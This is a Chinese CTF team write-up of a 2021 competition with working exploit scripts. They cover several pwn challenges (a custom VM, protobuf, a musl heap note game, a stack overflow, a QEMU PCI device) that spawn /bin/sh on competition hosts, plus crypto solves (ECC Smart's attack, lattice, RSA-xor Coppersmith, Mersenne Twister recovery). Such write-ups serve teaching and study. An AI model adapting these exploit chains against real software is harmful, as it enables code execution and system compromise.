前言:

以下wp为本战队综合起来的,有些俺也大概看了一下,不会的也复现了一下,只要能学点东西就行了
队友们都太强了,大佬们终于愿意带我这个小废物了,(勇敢的小菜鸡也就跟着大佬们混了)
中途平台崩了40-50分钟左右,机缘巧合之下还抢了个一血,一个二血,巅峰冲到第二了,虽然很短暂,但是怎么说也到过了那,哈哈哈哈哈艹

IMG_7098(20210917-185852).PNG

习以为常的最后排名总会掉那么5678名的,最终排名:企业组第二,总排名:19

image-20210917205652257.png

PWN

CrazyVM(赛后)

exp:

from pwn import *
context.log_level = 'debug'
def movReg(typea,typeb,reg1,reg2):
    opcode = b'\x01'
    opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
    return opcode.ljust(8,b'\x00')

def movi(typeb,reg1,val):
    opcode = b'\x01'
    opcode += p8(1)+p8(typeb)+p8(reg1)+p32(val)
    return opcode.ljust(8,b'\x00')

def push(reg):
    opcode = b'\x12'
    opcode += b'\x04\x03'
    opcode += p8(reg)
    return opcode.ljust(8,b'\x00')

def pop(reg):
    opcode = b'\x12'
    opcode += b'\x04\x03'
    opcode += p8(reg)
    return opcode.ljust(8,b'\x00')

def addReg(typea,typeb,reg1,reg2):
    opcode = b'\x02'
    opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
    return opcode.ljust(8,b'\x00')

def subReg(typea,typeb,reg1,reg2):
    opcode = b'\x03'
    opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
    return opcode.ljust(8,b'\x00')

def bye():
    return b'\x00\x05\x03'.ljust(8,b'\x00')

opcode = b''

#p = process('./CrazyVM')
p = remote('"114.115.221.217',49153)
libc = ELF('./libc-2.31.so')
pop_rdi = 0x0000000000026b72
sh = 0x001b75aa
system = libc.sym['system']

opcode += movReg(0,3,0,0x10) #reg0 libc offset
opcode += movi(2,0x11,0x100ff0-0x80000)
opcode += addReg(0,3,0,0x11)
opcode += movReg(0,3,0x10,0)
opcode += movi(2,0x11,0x1ef2e0)
opcode += addReg(0,3,0x10,0x11)
opcode += pop(1) #reg1 environ
opcode += movReg(0,3,0x10,0)
opcode += movi(2,0x11,0x1ec5a0)
opcode += addReg(0,3,0x10,0x11)
opcode += pop(2)
opcode += movi(2,0x11,0x1ec5c0)
opcode += subReg(0,3,2,0x11) #reg2 libc
opcode += movReg(0,3,3,1)
opcode += subReg(0,3,3,2)
opcode += addReg(0,3,3,0) #reg3 stack offset
opcode += movi(2,0x11,0x100-4*8)
opcode += subReg(0,3,3,0x11)
opcode += movReg(0,3,0x10,3)
opcode += movReg(0,3,4,2)
opcode += movi(2,0x11,pop_rdi)
opcode += addReg(0,3,4,0x11) #reg4 pop rdi
opcode += movReg(0,3,5,2)
opcode += movi(2,0x11,sh)
opcode += addReg(0,3,5,0x11) #reg5 sh
opcode += movReg(0,3,6,2)
opcode += movi(2,0x11,system)
opcode += addReg(0,3,6,0x11) #reg6 system
opcode += movReg(0,3,7,2)
opcode += movi(2,0x11,pop_rdi+1)
opcode += addReg(0,3,7,0x11)
opcode += push(6)+push(7)+push(5)+push(4)
opcode += bye()
gdb.attach(p,"b *$rebase(0x174e)\nc")
p.sendafter(b"input code for vm: ",opcode)
p.sendafter(b"input data for vm: ",b"\n")

p.interactive()

pb(赛后)

头疼的垃圾数据,看不太懂
exp:

from pwn import *
from addressbook_pb2 import AddressBook, Person
context.log_level = 'debug'

def gen_leak_payload(offset: int):
    person = Person()
    person.show_off = ""
    person.name = "plusls"
    person.bio = "114514"
    #person.rw = True
    person.day.append(offset)
    person.salary.append(1)
    addressbook = AddressBook()
    addressbook.people.append(person)
    data = addressbook.SerializeToString()
    return data

def gen_write_payload(offset: int, data_to_write: int):
    person = Person()
    person.show_off = ""
    person.name = "plusls"
    person.bio = "114514"
    person.rw = True
    person.day.append(offset)
    person.salary.append(data_to_write)
    addressbook = AddressBook()
    addressbook.people.append(person)
    data = addressbook.SerializeToString()
    return data

# 0x8fbbd0


heap_ptr = 0
p = process('./pb')
#p =remote('114.115.204.229',49153)
data = gen_leak_payload(0x20)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))

data = gen_leak_payload(0x21)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x100

data = gen_leak_payload(0x22)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x10000

data = gen_leak_payload(0x23)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x1000000

log.success('{:#x}'.format(heap_ptr))

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 0, ord('/'))
#data = gen_write_payload(0x10000000, ord('s'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
# print(pidof(p))
# input()
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 1, ord('b'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 2, ord('i'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 3, ord('n'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 4, ord('/'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 5, ord('s'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 7, 0)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 6, ord('h'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)

p.interactive()

notegame(赛后)

exp:

from pwn import *
context.log_level = 'debug'

def add(size,buf):
    p.sendlineafter(b"Note@Game:~$",b"AddNote")
    p.sendlineafter(b"Size: ",str(size).encode())
    p.sendafter(b"Note: ",buf)

def show(idx):
    p.sendlineafter(b"Note@Game:~$",b"ShowNote")
    p.sendlineafter(b"Index: ",str(idx).encode())

def edit(idx,buf):
    p.sendlineafter(b"Note@Game:~$",b"EditNote")
    p.sendlineafter(b"Index: ",str(idx).encode())
    p.sendafter(b"Note: ",buf)

def free(idx):
    p.sendlineafter(b"Note@Game:~$",b"DelNote")
    p.sendlineafter(b"Index: ",str(idx).encode())

def update(size,buf,info):
    p.sendlineafter(b"Note@Game:~$",b"UpdateInfo")
    p.sendlineafter(b"Length: ",str(size).encode())
    p.sendafter(b"Name: ",buf)
    p.sendafter(b"Info: ",info)

def view():
    p.sendlineafter(b"Note@Game:~$",b"ViewInfo")

#p = process('./notegame')
p = remote('114.115.152.113',49153)
add(0x20,b'\n')
update(0x10,b'dead\n',b'\n')
update(0x20,b'A'*0x20,b'\n')
view()
p.recvuntil(b"A"*0x20)
libc = ELF("./libc.so")
libc.address = u64(p.recv(6)+b"\x00\x00")-0xb7c90
success(hex(libc.address))
p.sendlineafter(b"Note@Game:~$",b"B4ckD0or")
p.sendlineafter(b"Addr: ",str(libc.address+0xb4ac0).encode())
# update(0x20,'deadbeef\n',b'\n')
# add(0x30,b'AAAA\n')
p.recvuntil(b"Mem: ")
secret = u64(p.recv(8))
success(hex(secret))
free(0)

fake_meta_addr = 0x10000000010
fake_mem_addr = libc.address+0xb7ac0

sc = 9  # 0x9c

freeable = 1
last_idx = 1
maplen = 2

stdin_FILE = libc.address+0xb4180+0x30

add(0x68,b'A\n')#0
add(0x6c,p64(stdin_FILE-0x10)+p64(0)+p64((maplen << 12) | (sc << 6) | (freeable << 5) |
last_idx)+p64(0)+b"\n")#1
edit(0,b'\x00'*0x60+p64(fake_meta_addr))

fake_meta = p64(stdin_FILE-0x18)#next
fake_meta += p64(fake_meta_addr+0x30)#priv
fake_meta += p64(fake_mem_addr)
fake_meta += p64(2)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

p.sendlineafter(b"Note@Game:~$",b"TempNote")
p.sendlineafter(b"Input the address of your temp note: ",str(0x10000000000))
p.sendafter(b"Temp Note: ",p64(secret)+p64(0)+fake_meta+b"\n")

free(1)

add(0x90,b'A\n')
fake_meta = p64(stdin_FILE-0x18)#next
fake_meta += p64(fake_mem_addr)#priv
fake_meta += p64(stdin_FILE-0x10)
fake_meta += p64(2)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

fake_meta += p64(stdin_FILE-0x18)
fake_meta += p64(fake_mem_addr)
fake_meta += p64(stdin_FILE-0x10)
fake_meta += p64(0)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

p.sendlineafter(b"Note@Game:~$",b"TempNote")
p.sendafter(b"Temp Note: ",p64(secret)+p64(0)+fake_meta+b"\n")
# gdb.attach(p,"dir ./mallocng\nb *$rebase(0x1075)\nc")

p.sendlineafter(b"Note@Game:~$",b"AddNote")
p.sendlineafter(b"Size: ",str(0x90).encode())
payload = b'/bin/sh\x00'
payload = payload.ljust(32,b'\x00')
payload += p64(1)+p64(1)+p64(0)*3+p64(libc.sym['system'])
payload = b'A'*48+payload+b"\n"

p.send(payload)

p.interactive()

image-20210918103841373.png

bountyhunter

Ida查看发现栈溢出漏洞,有system,有’/bin/sh’
简单的签到,直接放exp了:
exp:

from pwn import *
context.log_level = 'debug'
#p=process('./pwn')
p=remote('139.9.123.168',32548)
elf=ELF('./pwn')
#gdb.attach(p,'b *0x4011AA')
p.sendlineafter('Who are you? What do you want?
\n','a'*0x90+'b'*8+p64(0x0000000000401016)+p64(0x000000000040120b)+p64(0x403408)
+p64(elf.sym['system']))
p.interactive()

CRYPTO

ecc

直接梭:

p = 146808027458411567
A = 46056180
B = 2316783294673
E = EllipticCurve(Zmod(p), [A, B])
P = E(119851377153561800, 50725039619018388)
Q = E(22306318711744209, 111808951703508717)

print(P.discrete_log(Q))
# 13566003730592612

根据题目的继续:

p = 1256438680873352167711863680253958927079458741172412327087203    
A = 377999945830334462584412960368612
B = 604811648267717218711247799143415167229480
E = EllipticCurve(Zmod(p), [A, B])
P = E(550637390822762334900354060650869238926454800955557622817950, 700751312208881169841494663466728684704743091638451132521079)
Q = E(1152079922659509908913443110457333432642379532625238229329830, 819973744403969324837069647827669815566569448190043645544592)

n = E.order()
plist = [2,5,7,27,212117,302426983]
klist = []
for p in plist:
    P1 = (n // p) * P
    Q1 = (n // p) * Q
    klist.append(P1.discrete_log(Q1))
k = crt(klist, plist)
print(k)
# 16093767336603949

可以发现曲线的阶和模数是相同的,采用smart's attack
https://wstein.org/edu/2010/414/projects/novotney.pdf paper有代码。

def HenselLift(P,p,prec):
    E = P.curve()
    Eq = E.change_ring(QQ)
    Ep = Eq.change_ring(Qp(p, prec))
    x_P,y_P = P.xy()
    x_lift = ZZ(x_P)
    y_lift = ZZ(y_P)
    x, y, a1, a2, a3, a4, a6 = var('x, y, a1, a2, a3, a4, a6')
    f(a1, a2, a3, a4, a6, x, y) = y^2 + a1*x*y + a3*y - x^3 - a2*x^2 - a4*x - a6
    g(y) = f(ZZ(Eq.a1()), ZZ(Eq.a2()), ZZ(Eq.a3()), ZZ(Eq.a4()), ZZ(Eq.a6()), ZZ(x_P), y)
    gDiff = g.diff()
    for i in range(1,prec):
        uInv = ZZ(gDiff(y=y_lift))
        u = uInv.inverse_mod(p^i)
        y_lift = y_lift - u*g(y_lift)
        y_lift = ZZ(Mod(y_lift, p^(i+1)))
    y_lift = y_lift + O(p^prec)
    return Ep([x_lift, y_lift])

def SmartAttack(P,Q,p,prec):
    E = P.curve()
    Eqq = E.change_ring(QQ)
    Eqp = Eqq.change_ring(Qp(p, prec))
    P_Qp = HenselLift(P, p, prec)
    Q_Qp = HenselLift(Q, p, prec)
    p_times_P = p * P_Qp
    p_times_Q = p * Q_Qp
    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()
    phi_P = -(x_P / y_P)
    phi_Q = -(x_Q / y_Q)
    k = phi_Q / phi_P
    k = ZZ(k) % p
    return k

p = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
B = 0x926b0e42376d112ca971569a8d3b3eda12172dfb4929aea13da7f10fb81f3b96bf1e28b4a396a1fcf38d80b463582e45d06a548e0dc0d567fc668bd119c346b2
E = EllipticCurve(Zmod(p), [A, B])

P = E(10121571443191913072732572831490534620810835306892634555532657696255506898960536955568544782337611042739846570602400973952350443413585203452769205144937861, 8425218582467077730409837945083571362745388328043930511865174847436798990397124804357982565055918658197831123970115905304092351218676660067914209199149610)
Q = E(964864009142237137341389653756165935542611153576641370639729304570649749004810980672415306977194223081235401355646820597987366171212332294914445469010927, 5162185780511783278449342529269970453734248460302908455520831950343371147566682530583160574217543701164101226640565768860451999819324219344705421407572537)

k = SmartAttack(P,Q,p,8)
print(k)
# 19597596255129283097357413993866074145935170485891892

secrets(二血)

题目需要求32位的$p_1, p_2, p_3$使得
$$a_1 p_2 p_3 + a_2 p_1 p_3^2 + a_3 p_1 p_2^2 p_3 \equiv n \ (\bmod p)$$
格基规约。

首先我们要让某个线性组合变成一个小值。我们看上了$p_2 p_3$这一项。

于是同余式两边乘上$a_1^{-1}$:

$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 \equiv a_1^{-1} n \ (\bmod p)$$

写成等式:

$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 = a_1^{-1} n + kp$$

移项:

$$p_2 p_3 = a_1^{-1} n - a_1^{-1} a_2 p_1 p_3^2 - a_1^{-1} a_3 p_1 p_2^2 p_3 + kp$$

便有以下格:

$$\begin{bmatrix}
1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}\begin{bmatrix}
n & 1 & 0 & 0 & 0 \
-a_1^{-1} & 0 & 1 & 0 & 0 \
-a_1^{-1} a_2 & 0 & 0 & 1 & 0 \
p & 0 & 0 & 0 & 1 \
\end{bmatrix}=\begin{bmatrix}
p_2 p_3 & 1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}$$

右乘一个平衡的对角阵之后用LLL就可以求出$(p_2 p_3, p_1 p_3^2, p_1 p_2^2)$的值,从而求出$(p_1, p_2, p_3)$

然后求出AES密钥并且解密。
具体解题思路:

  1. 用1.sage求出p2p3 p1p3^2 p1p2^2p3

1.sage

p = 11679673793673506009014468475228106603081916890883486457896646429223178797758973615616012286356332520190126233017400893207593826175343702713785184522338787
a1, a2, a3 = [5756069086948558901324622226613545219570714553931419680091355546860288277733528684484679434350356392958470286317659356659575912829589095426942951584457183, 5460203359401780189277241557890921761977539358779669504676049669202545991278492450421493921244274437911819362776150796839590850454405186576054578519831639, 5733215264737754744921226160962972135334918697201206464452013241762591234783172108441892372068592924627684842613967215477538096712289370260146873046574651]
e = [[0, 1, 1], [1, 0, 2], [1, 2, 1]]
n = 954454001962944951493670572521755832608771383398769255721246850106731347064788730658352434771777089459134929238824940227065118832204119439793656116218597
c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'

c1 = inverse_mod(a1, p) * n
c2 = -a2 * inverse_mod(a1, p) % p
c3 = -a3 * inverse_mod(a1, p) % p
c4 = p

weights = [2^(512-64), 2^512, 2^(512-96), 2^(512-128), 1]

M = Matrix(ZZ, [[c1, 1, 0, 0, 0],
                [c2, 0, 1, 0, 0],
                [c3, 0, 0, 1, 0],
                [c4, 0, 0, 0, 1]]) * diagonal_matrix(weights)
    
v = M.LLL()[0]

p2p3 = v[0] // weights[0]
p1p32 = v[2] // weights[2]
p1p22p3 = v[3] // weights[3]
print(p2p3)
print(p1p32)
print(p1p22p3)
  1. factordb查分解 弄出p1 p2 p3具体值

    from z3 import *

    p1, p2, p3 = Ints('p1 p2 p3')
    sol = Solver()
    sol.add(p2 * p3 == 13661139160116902777)
    sol.add(p1 p3 * 2 == 29300368481521898734987896109)
    sol.add(p1 p2 2 p3 == 145206870370195317357010045446286801073)

    if (sol.check() == sat):

    print(sol.model())

    else:

    print('GG simida')
    
  2. 把p1 p2 p3具体值填到finexp.py得到最后的flag

finexp.py

import random, hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES

p1 = 2607953941
p2 = 4075682389
p3 = 3351865493
secrets = [p1, p2, p3]

c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'
c = bytes.fromhex(c)

key = hashlib.sha256(str(secrets).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(c)
print(flag)

# flag{f6c279906556477981c0698e6239982e}

signin(一血)

题目给出$n=pq$以及$x = (p \oplus q) \bmod 2^{400}$,需要求n的分解
RSA+xor,从低位到高位枚举分析。

也就是依次模$2^1, 2^2, \ldots, 2^{400}$进行分析。

每次枚举$p, q$的高位并且利用$n$和$x$进行验算。

这样到400位,就可以求出若干$p, q$的低400位。

然后对于每个可能的低位$p$,构造多项式

$$f(x) = 2^{400} x + p$$

并用Coppersmith small root求解$x$,进而得到$p$,也就得到了$n=pq$的分解

之后就算得解密指数$d$,解密密文即可。

e1.py

from sage.all import *
from tqdm import tqdm

c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197
x = 471475951883841996380755394497425485938102193317354065361151516006175011110693734273770491686812217784012615381122407908

pre_sol = [(1, 1)]

for i in tqdm(range(1, 400)):
    cur_pow = (1 << (i+1))
    cur_sol = []
    for pre_p, pre_q in pre_sol:
        for s in range(2):
            for t in range(2):
                cur_p = pre_p + s * (1 << i)
                cur_q = pre_q + t * (1 << i)
                if (cur_p ^ cur_q == x % cur_pow and cur_p * cur_q % cur_pow == n % cur_pow):
                    cur_sol.append((cur_p, cur_q))
    pre_sol = cur_sol

F, x = PolynomialRing(Zmod(n), name='x').objgen()
print(F)
print(x)
for p, q in tqdm(cur_sol):
    f = x * 2 ** 400 + p
    f = f.monic()
    sol = f.small_roots(X = 2 ** 112, beta = 0.4)
    if (sol != []):
        print(sol[0] * 2 ** 400 + p)
        break

e2.py

from Crypto.Util.number import *

p = 12172529005716175430901283903834642726755657633565845783363589139718811888175215203727237853050161503063968274652006993195449591640852850585439495172789713

c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197

q = n // p

d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
##flag{f092l9er-hgmj-lw5q-5d52-hwayzk6n5joj}

doublesage

模$p$意义下求$x$使得范数$\|xA-C\|$小

这个问题在一般的实数域内就对应伪逆 pseudoinverse A^{+}

对于方程$Ax=b$,利用伪逆$A^{+}$,我们可以求得$x=A^{+}b$,这个$x$就是使得$\|Ax-b\|$最小的那个$x$。

回到问题。上式求转置即为:

$$A^T x^T - C^T$$

所以只需要求得$A^T$的伪逆,再乘上$C^T$即可得到$x$的值。

然后可能单次尝试不能通过检验,需要多次尝试,就能通过检验。

exp.py

from pwn import *
from sage.all import *


def H_problem(p, p, rows):
    p.recvuntil('Matrix A')
    p.recvline()

    def get_vector(p):
        p.recvuntil('[')
        s = p.recvuntil(']')[:-1]    
        return [int(x) for x in s.split()]

    A = []

    for i in range(rows):
        s = get_vector(p)
        A.append(s)

    p.recvline()
    b = p.recvline()
    b = get_vector(p)

    Zp = Zmod(p)

    A = Matrix(Zp, A)
    b = vector(Zp, b)

    x = A.transpose().pseudoinverse() * b

    print(x * A)
    print(b)
    x = str(x).replace('(', '[').replace(')', ']')
    p.sendline(x)
    p.recvuntil('The norm of vector x*A-C is')
    res = p.recvline()
    if (b'True' in res):
        print('Pass chall {}'.format(p))
        return True
    else:
        print('Fail chall {}'.format(p))
        return False

while True:
    #p = process(['sage', 'another.sage'])
    p = remote('122.112.210.186',51436)
    if H_problem(p, 29, 5) and H_problem(p, 227, 15):
        p.interactive()
    else:
        p.close()

当然,由于该需要exp需要sage.all库,因此我们需要在sagemath上或者也可以用cocalc在线跑一下。

MISC

muziko

BabyMi

alpha10

附件得到一个data文件,用foremost分解得到两张图片。00001404.jpg和00001537.png
考虑进行盲水印
命令:python bwmforpy3.py decode 00001404.jpg 00001537.png flag.png
得到:image<00001404.jpg> + image(encoded)<00001537.png> -> watermark<flag.png>
解得图片:

image-20210917205022736.png

异或一下通过肉眼观察得到flag(建议近视眼摘眼镜观察最佳)

image-20210917205102194.png

flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}
(为赛后复现,不一定准确,比赛的时候简单试了几次看起来相似的字母就出了。)

签到题

签到:flag{welcometo5space}

云安全

Cloud_QM(赛后)

当时比赛就大概看了一下都不敢动手,o(╥﹏╥)o
要分析的有点多...
exp:

from pwn import *
from docker_debug import *
context.log_level = 'debug'
context.aslr = False

def write_addr(p: tube, addr: int, data: bytes) -> None:
    p.sendline('b64write {} {} {}'.format(addr, len(data),
base64.b64encode(data).decode()))
    pass

def writeq(p: tube, addr: int, data: int) -> None:
    p.sendline('writeq {} {}'.format(addr, data))
    p.recvuntil('OK\n')
    p.recvuntil('OK\n')

def read_addr(p: tube, addr: int, size: int) -> bytes:
    p.sendline('b64read {} {}'.format(addr, size))
    p.recvuntil('OK ')
    ret = base64.b64decode(p.recvuntil('\n'))
    p.recvuntil('OK ')
    p.recvuntil('\n')
    return ret

def readq(p: tube, addr: int) -> int:
    p.sendline('readq {}'.format(addr))
    p.recvuntil('OK ')
    ret = int(p.recvuntil('\n'), 16)
    p.recvuntil('OK ')
    p.recvuntil('\n')
    return ret

BASE = 0xfeb00000

def set_note_idx(p: tube, idx: int) -> None:
    writeq(p, BASE + 0x40, idx)

def set_size(p: tube, size: int) -> None:
    writeq(p, BASE + 0x8, size)

def alloc(p: tube) -> None:
    writeq(p, BASE + 0x10, 0)

def set_dma_addr(p: tube, dma_addr: int) -> None:
    writeq(p, BASE + 0x18, dma_addr)

def read_to_buf(p: tube) -> None:
    writeq(p, BASE + 0x20, 0)
    
def write_to_vm(p: tube) -> None:
    writeq(p, BASE + 0x28, 0)

def free(p: tube) -> None:
    writeq(p, BASE + 0x30, 0)

debug_env = DockerDebug('ubuntu-2004')
process = debug_env.process
attach = debug_env.attach

def main():
    #p = process('./qemu-system-x86_64 -display none -machine accel=qtest -m 512M -device ctf -nodefaults -monitor none -qtest stdio'.split(' '))
    p = remote('114.115.214.225', 8888)
    p.recvuntil('OPENED')
    p.sendline('outl 0xcf8 0x80001010')
    p.recvuntil('OK')
    p.sendline('outl 0xcfc 0xfebc0000')
    p.recvuntil('OK')
    p.sendline('outl 0xcf8 0x80001004')
    p.recvuntil('OK')
    p.sendline('outl 0xcfc 0x107')
    p.recvuntil('OK')
    set_note_idx(p, 0)
    fengshui_size = 0x68
    for i in range(8):
        set_note_idx(p, i + 1)
        set_size(p, fengshui_size)
        alloc(p)
    # set_dma_addr(p, 0)
    # set_note_idx(p, 1)

    # free(p)
    # set_note_idx(p, 2)
    # free(p)
    
    # set_note_idx(p, 3)
    # free(p)
    # set_note_idx(p, 7)
    # set_dma_addr(p, BASE+0x40) # set idx 0
    # free(p)
    
    # # leak heap addr
    # set_note_idx(p, 7)
    # set_dma_addr(p, 0x100)
    # write_to_vm(p)
    # heap_data = read_addr(p, 0x100, fengshui_size)
    # log.info('data: {} {:#x} {:#x}'.format(heap_data, u64(heap_data[:8]),u64(heap_data[8:16])))
    # tcache_head_addr = heap_data[8:16]
    # offset = 0x55555657a470 - 0x55555657a010

    set_note_idx(p, 9)
    set_size(p, 0x500)
    alloc(p)

    set_dma_addr(p, BASE+0x40) # set idx 0
    free(p)

    set_note_idx(p, 9)
    set_dma_addr(p, 0x100)
    write_to_vm(p)
    libc_base = u64(read_addr(p, 0x100, 0x8)) - 0x1ebbe0
    system_addr = libc_base + 0x55410
    free_hook_addr = libc_base + 0x1eeb28
    log.success('libc: {:#x} system: {:#x}'.format(libc_base, system_addr))

    # 放置 binsh
    set_note_idx(p, 5)
    set_dma_addr(p, 0x300)
    write_addr(p, 0x300, b'/bin/sh')
    read_to_buf(p)

    set_dma_addr(p, 0)
    set_note_idx(p, 1)
    free(p)
    set_note_idx(p, 2)
    free(p)
    set_note_idx(p, 3)
    free(p)
    set_note_idx(p, 4)
    set_dma_addr(p, BASE+0x40) # set idx 0
    free(p)

    write_addr(p, 0x200, p64(free_hook_addr))
    write_addr(p, 0x300, p64(system_addr))
    set_note_idx(p, 4)
    set_dma_addr(p, 0x200)
    read_to_buf(p)

    set_note_idx(p, 10)
    set_size(p, fengshui_size)
    alloc(p)
    set_note_idx(p, 11)
    set_size(p, fengshui_size)
    alloc(p)

    set_note_idx(p, 11)
    set_dma_addr(p, 0x300)
    read_to_buf(p)

    set_note_idx(p, 5)
    free(p)

    # attach(p)
    # input()
    p.interactive()

if __name__ == '__main__':
    main()

人工智能

Random Block Cipher

个人信息保护

data_protection

题目分5问。

  1. $n$比较小,factordb上面可以直接找到分解;
  2. $p$已知,而且明文小于$p$。直接模$p$分析,$\varphi(p)=p-1$即可;
  3. 模$p$下给了一个线性方程组,直接解即可;
  4. 前面已经生成了642个随机数,但是部分随机数的具体值未知,需要爆破

这些未知的随机数具体包括:

  • 第1问的$a$和$b$,值介于$p$和$q$,并且$a$和$b$生成的先后顺序不确定;
  • 第2问的$q$,值介于$p$和$p+2^{31}$,还有一位不确定。

已知624个随机数,就可以恢复随机种子,进而求出AES密钥。然后根据题目已知信息尝试解密成明文检验明文是否合法。

  1. 接第4问已知随机种子可以求出DH算法的私钥$x, y$,进而求出DH算法的shared secret $s$。乘以$s$的模逆即可。

这关键就在4.需要科学爆破一下

然后就是附上exp:
e1.py

from Crypto.Util.number import *

with open('out') as f:
    s = f.read().splitlines()

c = eval(s[0])
n = eval(s[1])

p = 22186905890293167337018474103
q = 64390888389278700958517837593

e = 65537

d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))

# xiaoMing

e2.py

from Crypto.Util.number import *

with open('out') as f:
    s = f.read().splitlines()

c = eval(s[2])
n = eval(s[3])

p = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997

e = 65537

q = n // p

dp = inverse(e, (p-1))
m = pow(c, dp, p)
print(m.bit_length())
print(p.bit_length())
print(long_to_bytes(m))

# 14115102907

e3.sage

with open('out') as f:
    s = f.read()
s = s.splitlines()

q = eval(s[4])
A = eval(s[5])
b = eval(s[6])

A = Matrix(Zmod(q), A)
b = vector(Zmod(q), b)

x = A.solve_right(b)
x = ''.join([chr(i) for i in x])
print(x)

# xiaoMing@amail.com

e4.py

import random
from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack
import string
import itertools
from tqdm import tqdm
import pickle

with open('out') as f:
    s = f.read().splitlines()

c4 = eval(s[7])
c4 = long_to_bytes(c4)

ok_char = string.ascii_letters + string.digits + '._'
ok_char = list(ok_char.encode())

p1 = 22186905890293167337018474103
q1 = 64390888389278700958517837593

n2 = eval(s[3])

p2 = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997

offset2 = n2 // p2 - p2

with open('out') as f:
    s = f.read().splitlines()
s = eval(s[5])
s = [x for y in s for x in y]

append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)

def my_submit(rc, x, t):
    for i in range(t):
        rc.submit(x % (1 << 32))
        x >>= 32

for a1, b1 in [[p1, q1], [q1, p1]]: 
    aleft = a1 - 1
    while (not isPrime(aleft)):
        aleft -= 1
    bleft = b1 - 1
    while (not isPrime(bleft)):
        bleft -= 1
    for aa, bb, o2 in tqdm(itertools.product(range(aleft, a1)[::-1], range(bleft, b1)[::-1], range(2))):
        rc = RandCrack()
        my_submit(rc, aa, 3)
        my_submit(rc, bb, 3)
        my_submit(rc, append_2, 5)
        off2 = 2 * offset2 + o2
        my_submit(rc, off2, 1)
        for i in s:
            rc.submit(i)

        key = rc.predict_getrandbits(128)
        key = long_to_bytes(key, 16)
        cipher = AES.new(key, AES.MODE_ECB)
        m = cipher.decrypt(c4)
        if (all(x in ok_char for x in m)):
            print(m)
            print()
            print(aa)
            print(bb)
            print(off2)
            exit(0)

# No.123_doge_road

e5.py

from Crypto.Util.number import *
